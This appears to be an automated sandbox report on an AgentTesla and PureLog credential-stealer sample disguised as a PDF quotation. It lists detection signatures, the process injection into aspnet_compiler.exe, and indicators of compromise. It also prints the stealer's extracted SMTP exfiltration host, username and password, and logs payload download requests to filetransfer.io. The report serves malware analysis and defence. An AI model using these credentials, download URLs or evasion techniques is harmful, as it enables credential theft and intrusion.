Edit tour

Windows Analysis Report
QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Overview

General Information

Sample name:	QUOTATION_APRQTRA031244#U00faPDF.scr.exe renamed because original name is a hash value
Original sample name:	QUOTATION_APRQTRA031244PDF.scr.exe
Analysis ID:	1430332
MD5:	715a6e943fbaf2e9205a70e391d0fd1c
SHA1:	acc6f23393b146fc1c815b06c322280ac27d50ba
SHA256:	a22b502cc5b1476fef59963f2df2eaea9086e775923d82308cecac83d5c5cbcd
Tags:	exe
Infos:

Detection

AgentTesla, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected PureLog Stealer

.NET source code contains potential unpacker

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Installs a global keyboard hook

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: AspNetCompiler Execution

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

QUOTATION_APRQTRA031244#U00faPDF.scr.exe (PID: 5356 cmdline: "C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe" MD5: 715A6E943FBAF2E9205A70E391D0FD1C)

aspnet_compiler.exe (PID: 7700 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "gator3220.hostgator.com", "Username": "minors@aoqiinflatables.com", "Password": "RaFv@tsTUK55@@<<!!"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2242734994.00000000070F0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2226154366.00000000044F9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2222485023.0000000002D61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2222485023.0000000002D61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2892713170.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2892713170.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2222485023.0000000002B95000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.2896066000.0000000003075000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2222485023.0000000002BB6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2246378336.0000000009090000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2226154366.00000000042C9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2226154366.0000000003C24000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2226154366.0000000003C24000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2226154366.0000000003C24000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: QUOTATION_APRQTRA031244#U00faPDF.scr.exe PID: 5356	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: QUOTATION_APRQTRA031244#U00faPDF.scr.exe PID: 5356	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: QUOTATION_APRQTRA031244#U00faPDF.scr.exe PID: 5356	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: QUOTATION_APRQTRA031244#U00faPDF.scr.exe PID: 5356	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: aspnet_compiler.exe PID: 7700	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: aspnet_compiler.exe PID: 7700	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.4781400.8.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.44f9dd0.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.70f0000.13.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.4781400.8.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.4599df0.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.2d48e7c.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32063:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x320d5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3215f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x321f1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3225b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x322cd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32363:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x323f3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.2d48e7c.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.2d48e7c.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x43693:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x43705:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x4378f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x43821:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4388b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x438fd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x43993:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x43a23:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
4.2.aspnet_compiler.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.aspnet_compiler.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.aspnet_compiler.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.aspnet_compiler.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33e63:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33ed5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33f5f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33ff1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3405b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x340cd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34163:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x341f3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.4651c30.10.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.42c9610.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3cc95d0.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.42c9610.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.9090000.16.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.9090000.16.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3cc95d0.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33e63:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6f083:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33ed5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6f0f5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33f5f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6f17f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33ff1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6f211:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3405b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6f27b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x340cd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6f2ed:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34163:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6f383:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x341f3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6f413:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 22 entries

Sigma Signatures

System Summary

Sigma detected: AspNetCompiler Execution

Source: Process started

Author: frack113: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, ParentCommandLine: "C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe", ParentImage: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe, ParentProcessId: 5356, ParentProcessName: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", ProcessId: 7700, ProcessName: aspnet_compiler.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "gator3220.hostgator.com", "Username": "minors@aoqiinflatables.com", "Password": "RaFv@tsTUK55@@<<!!"}

Multi AV Scanner detection for submitted file

Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe

ReversingLabs: Detection: 52%

Machine Learning detection for sample

Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Joe Sandbox ML: detected

Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.13.139:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.13.139:443 -> 192.168.2.4:49738 version: TLS 1.2

Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002BB6000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000003AE8000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2245901969.0000000007490000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002BB6000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000003AE8000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2245901969.0000000007490000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2243098411.0000000007160000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2243098411.0000000007160000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 4x nop then jmp 0731FD59h	0_2_0731FCF8
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 4x nop then jmp 0748A541h	0_2_0748A7B4
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 4x nop then jmp 0748A541h	0_2_0748A60F
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 4x nop then jmp 0748A541h	0_2_0748A448
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 4x nop then jmp 0748A541h	0_2_0748A438

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 4.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /data-package/aPtWC5T9/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/fNtpaSFzWEzZ HTTP/1.1Host: s22.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/aPtWC5T9/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.13.139 104.21.13.139
Source: Joe Sandbox View	IP Address: 104.21.13.139 104.21.13.139
Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /data-package/aPtWC5T9/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/fNtpaSFzWEzZ HTTP/1.1Host: s22.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/aPtWC5T9/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: filetransfer.io

Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://filetransfer.io
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: http://filetransfer.io/data-package/aPtWC5T9/download
Source: aspnet_compiler.exe, 00000004.00000002.2896066000.0000000003041000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2896066000.00000000030FC000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2896066000.0000000003117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000003C24000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002D61000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2896066000.0000000003041000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2896066000.00000000030FC000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2892713170.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: http://ocsp.thawte.com0
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: http://s.symcb.com/pca3-g5.crl0
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: http://s.symcd.com06
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: http://s.symcd.com0_
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2896066000.0000000003041000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2896066000.00000000030FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: http://sw.symcb.com/sw.crl0
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: http://sw.symcd.com0
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: http://sw1.symcb.com/sw.crt0
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000003C24000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002D61000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2892713170.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: https://d.symcb.com/cps0%
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: https://d.symcb.com/rpa0
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: https://d.symcb.com/rpa0)
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe	String found in binary or memory: https://d.symcb.com/rpa0.
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002B0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002B0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/aPtWC5T9/download
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2243098411.0000000007160000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2243098411.0000000007160000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2243098411.0000000007160000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
